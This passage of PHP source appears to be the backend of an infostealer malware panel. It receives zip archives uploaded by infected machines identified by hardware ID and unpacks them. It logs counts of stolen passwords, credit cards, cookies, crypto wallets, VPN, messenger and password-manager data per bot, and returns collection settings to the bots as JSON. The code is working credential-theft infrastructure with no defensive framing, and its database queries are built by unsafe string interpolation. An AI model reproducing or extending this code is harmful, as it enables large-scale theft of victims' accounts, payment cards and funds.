            $allowed_extensions = array("zip","rar","ZIP","RAR","TXt");
            $temp = explode(".", $_FILES["file"]["name"]);
            $file_extension = end($temp);
            
            if (in_array($file_extension, $allowed_extensions)) {
                $destination = "upload/$hwid/$hwid.zip";
                if(move_uploaded_file($_FILES["file"]["tmp_name"], $destination)) {
                    $file_uploaded = true;
                    error_log("Successfully moved uploaded file for HWID: $hwid");
                } else {
                    error_log("Failed to move uploaded file for HWID: $hwid");
                }
            } else {
                error_log("Invalid file extension for HWID: $hwid - $file_extension");
            }
        }

        if ($file_uploaded) {
            // Extract the zip file immediately after upload
            extract_zip_if_needed($hwid);
            
            // Update statistics based on the extracted files
            update_bot_statistics($hwid, $username);
            
            error_log("File uploaded and processed for HWID: $hwid");
        }

        // Only INSERT a new record if one doesn't exist and we uploaded a file
        if ($count_check < 1 && $file_uploaded) {
            // Insert into logs table with all fields
            $insert_logs_query = "INSERT INTO `logs`(
                `hwid`, 
                `username`,
                `Passwords`, `pwd_count`,
                `CreditCards`, `cc_count`,
                `Cookies`, `cookies_count`,
                `AutoFill`, 
                `Wallets`, `wallets_count`,
                `VPN`, `vpn_count`,
                `Telegram`, 
                `Steam`, 
                `Gaming`, 
                `OtherMessengers`, 
                `Discord`, 
                `DevTools`, `dev_tools_count`,
                `EmailClients`, 
                `PasswordManagers`, 
                `RemoteAccess`, `remote_access_count`,
                `CloudStorage`, `cloud_storage_count`,
                `BrowserExtended`,
                `File_log`,
                `last_updated`
            ) VALUES (
                '$hwid', 
                '$username',
                '$Passwords', '$Passwords',
                '$CreditCards', '$CreditCards',
                '$Cookies', '$Cookies',
                '$AutoFill', 
                '$Wallets', '$Wallets',
                '$VPN', '$VPN',
                '$Telegram', 
                '$Steam', 
                '$Gaming', 
                '$OtherMessengers', 
                '$Discord', 
                '$DevTools', '$DevTools',
                '$EmailClients', 
                '$PasswordManagers', 
                '$RemoteAccess', '$RemoteAccess',
                '$CloudStorage', '$CloudStorage',
                '$BrowserExtended',
                '$destination',
                NOW()
            )";
            $insert_logs_result = safe_query($condb, $insert_logs_query);
            if (!$insert_logs_result) {
                error_log("Failed to insert into logs table for HWID: $hwid");
            }
        }
    }
} else {
    error_log("HWID not set in request");
}

// Return the current values as JSON
if(isset($hwid)) {
    header('Content-Type: application/json');
    echo json_encode([
        'hwid' => $hwid,
        'force_update' => $force_update,
        'Passwords' => $Passwords,
        'CreditCards' => $CreditCards,
        'Cookies' => $Cookies,
        'AutoFill' => $AutoFill,
        'Wallets' => $Wallets,
        'VPN' => $VPN,
        'Telegram' => $Telegram,
        'Steam' => $Steam,
        'Gaming' => $Gaming,
        'OtherMessengers' => $OtherMessengers,
        'Discord' => $Discord,
        'DevTools' => $DevTools,
        'EmailClients' => $EmailClients,
        'PasswordManagers' => $PasswordManagers,
        'RemoteAccess' => $RemoteAccess,
        'CloudStorage' => $CloudStorage,
        'BrowserExtended' => $BrowserExtended
    ]);
}

// Function to count passwords in a file
function countPasswords($file) {
    if (!file_exists($file) || !is_readable($file)) {
        return 0;
    }
    
    $content = file_get_contents($file);
    if ($content === false) {
        return 0;
    }
    
    // Count unique URLs instead of passwords
    $uniqueUrls = array();
    $lines = explode("\n", $content);
    foreach ($lines as $line) {
        $trimmedLine = trim($line);
        
        // Look for URL lines
        if (preg_match('/URL\s*[:=\s]\s*(https?:\/\/[^\s]+)/i', $trimmedLine, $matches)) {
            $url = $matches[1];
            // Add to uniqueUrls array if not already there
            if (!in_array($url, $uniqueUrls)) {
                $uniqueUrls[] = $url;
            }
        }
        // Also check for domain/website lines
        else if (preg_match('/(?:domain|website|site)\s*[:=\s]\s*([^\s]+)/i', $trimmedLine, $matches)) {
            $domain = $matches[1];
            // Add as URL if not already there
            $url = (strpos($domain, 'http') === 0) ? $domain : "https://" . $domain;
            if (!in_array($url, $uniqueUrls)) {
                $uniqueUrls[] = $url;
            }
        }
    }
    
    return count($uniqueUrls);
}

// Function to count passwords from a content string
function countPasswordsInContent($content) {
    if (empty($content)) {
        return 0;
    }
    
    // Count unique URLs instead of passwords
    $uniqueUrls = array();
    $lines = explode("\n", $content);
    foreach ($lines as $line) {
        $trimmedLine = trim($line);
        
        // Look for URL lines
        if (preg_match('/URL\s*[:=\s]\s*(https?:\/\/[^\s]+)/i', $trimmedLine, $matches)) {
            $url = $matches[1];
            // Add to uniqueUrls array if not already there
            if (!in_array($url, $uniqueUrls)) {
                $uniqueUrls[] = $url;
            }
        }
        // Also check for domain/website lines
        else if (preg_match('/(?:domain|website|site)\s*[:=\s]\s*([^\s]+)/i', $trimmedLine, $matches)) {
            $domain = $matches[1];
            // Add as URL if not already there
            $url = (strpos($domain, 'http') === 0) ? $domain : "https://" . $domain;
            if (!in_array($url, $uniqueUrls)) {
                $uniqueUrls[] = $url;
            }
        }
    }
    
    return count($uniqueUrls);
}
?>